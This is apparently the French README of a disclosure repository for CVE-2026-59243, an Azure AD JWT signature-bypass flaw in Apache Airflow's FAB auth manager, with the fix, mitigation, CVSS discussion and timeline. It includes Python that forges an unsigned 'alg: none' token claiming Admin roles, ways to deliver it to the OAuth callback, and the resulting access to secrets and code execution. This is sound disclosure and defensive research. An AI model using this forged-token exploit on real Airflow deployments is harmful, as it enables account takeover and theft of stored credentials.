
Preuve de concept pour CVE-2026-59243 démontrant le contournement de la signature JWT dans le rappel OAuth Azure AD du gestionnaire d'authentification FAB d'Apache Airflow en raison d'une configuration par défaut non sécurisée.
Coréen : README.ko.md
apache-airflow-providers-fab==3.7.3Le FAB (Flask App Builder) Auth Manager d'Apache Airflow décode les id_tokens OAuth Azure AD dans _decode_and_validate_azure_jwt(). Cette fonction avait verify_signature par défaut à False.
# providers/fab/.../override.py (lignes 2331–2341 au moment du rapport)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← la valeur par défaut est False
)
if verify_signature:
# validation JWK authlib, renvoie les claims
...
# chemin par défaut : ignore entièrement la vérification de signature
return jwt.decode(id_token, options={"verify_signature": False})
Sauf si un opérateur définit explicitement verify_signature: true dans client_kwargs, la vérification de signature est désactivée pour tout le flux de connexion. Quel que soit le jeton reçu, ses claims sont acceptés comme l'identité de l'appelant.
L'intégration Authentik située dans le même fichier utilise par défaut True :
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← celle-ci utilise True par défaut
)
Même fichier, même forme, défaut opposé. Ce contraste est ce qui m'a d'abord mis sur la piste que le défaut Azure n'était pas un choix de politique.
Supposons Airflow déployé avec FAB Auth Manager + OAuth Azure AD, client_kwargs non modifié. (L'installation par défaut.)
Forgez un JWT alg: none avec les claims que vous voulez :
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # point final : signature vide
Délivrez ce jeton au callback OAuth (/login/azure/authorized ou là où l'intégration est montée). La façon de le délivrer varie selon le déploiement : MITM via un proxy de terminaison TLS mal configuré, un redirecteur ouvert avec une validation redirect_uri laxiste, ou en atteignant directement le callback avec un state forgé. Choisissez ce que la cible vous offre.
Au moment où le jeton atteint le callback, FAB appelle _decode_and_validate_azure_jwt, tombe dans le chemin par défaut et transmet les claims forgés à la session. Comme vous avez envoyé roles: ["Admin"], vous êtes maintenant connecté en tant qu'Admin. Sur Airflow, cela signifie pratiquement tout : Connections, Variables, la clé Fernet et l'exécution de code arbitraire en tant que worker en poussant un nouveau DAG.
Trois évaluations différentes ont atterri à trois endroits différents, ce qui est en fait instructif :
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LmodéréL'écart entre la mienne et celle du NVD tient à une métrique : AC. Je l'ai marquée H car je pensais au chemin de délivrance MITM de manière étroite. L'analyste du NVD a opté pour AC:L, traitant tout moyen d'amener un id_token devant le callback (y compris l'abus du flux OAuth standard) comme une capacité d'attaquant ordinaire. À la réflexion, AC:L est la lecture la plus défendable — vous n'avez pas strictement besoin d'être sur le chemin pour abuser d'une vérification de signature cassée. C'est pourquoi NVD/Strix arrivent à 9.8, et c'est le score qui apparaîtra dans la plupart des bases de données CVE et des scanners.
Le modéré d'Apache est un jugement distinct issu de leur propre modèle de risque, pondéré davantage vers « à quelle fréquence cette condition préalable se présente-t-elle dans les déploiements réels » que vers le plafond de l'impact. Pas incompatible avec 9.8 — c'est juste une question différente à laquelle on répond.
Un caractère.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Aligne le défaut Azure sur Authentik. Si quelqu'un a réellement besoin de désactiver la vérification de signature (JWKS auto-signé sur un réplica Azure AD sur site, par exemple), il peut toujours l'activer avec verify_signature: false dans client_kwargs. Bien meilleure forme que de livrer un produit non sécurisé par défaut.
Fusionné le 2026-07-07 en tant que PR #69374 / commit 54259ae. Publié dans apache-airflow-providers-fab==3.7.3 le 2026-07-28.
Si vous ne pouvez pas mettre à jour immédiatement, définissez-le explicitement dans webserver_config.py :
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Au-delà de cela : gardez les callbacks OAuth en HTTPS uniquement avec une liste blanche stricte de redirect_uri, et faites pivoter toutes les identifiants détenus dans les Connections Airflow si vous avez des raisons de penser que vous avez été touché.
Docker + pwntools configurés dans poc/ :
poc/server.py isole le chemin vulnérable (jwt.decode(..., options={"verify_signature": False})) dans une petite application Flask.poc/exploit_airflow_jwt.py forge le JWT, atteint le callback et extrait des secrets factices depuis la vue admin.poc/Dockerfile et poc/docker-compose.yml démarrent la cible sur 127.0.0.1:5002 (liaison loopback).Commande unique :
cd poc/
./run.sh
Si vous exécutez cela sur une machine partagée, vérifiez la liaison compose avant de démarrer.
Des refactorisations sans rapport ont déplacé les numéros de ligne entre le rapport d'origine et le main actuel. Le chemin du fichier est inchangé.
Fichier : providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (ce fichier)
├── README.ko.md Version coréenne
├── LICENSE MIT
├── check_advisory.sh observateur de publication (conservé pour réutilisation ; actuellement inactif)
├── patch/fix.diff correctif d'un caractère (ancré aux lignes du moment du rapport)
└── poc/ PoC Docker + pwntools
[email protected]MIT (LICENSE). Le PoC est destiné à la reproduction et à la recherche défensive uniquement. Ne le pointez pas vers des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de tester.
| Symbole | Au moment du rapport (2026-03-18) | Dans main corrigé (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (défaut False, vulnérable) | 2428–2438 (défaut True, corrigé) |
_get_authentik_token_info() | 414–416 (défaut True, sûr) | 419–420 (défaut True, sûr) |
| Date | Événement |
|---|
| 2026-03-18 | Signalé à [email protected] |
| 2026-03 à 2026-07 | Retard côté Apache ; un membre du PMC Airflow a ensuite confirmé que le rapport initial avait été manqué |
| 2026-07-03 | Première réponse |
| 2026-07-04 | CVE-2026-59243 attribuée, informations de crédit envoyées |
| 2026-07-07 | Correctif fusionné (commit 54259ae, PR #69374) |
| 2026-07-28 | apache-airflow-providers-fab==3.7.3 publié |
| 2026-07-29 | Enregistrement CVE MITRE PUBLISHED, avis Apache publié sur [email protected] |
| 2026-07-29 | Ce dépôt est passé en public |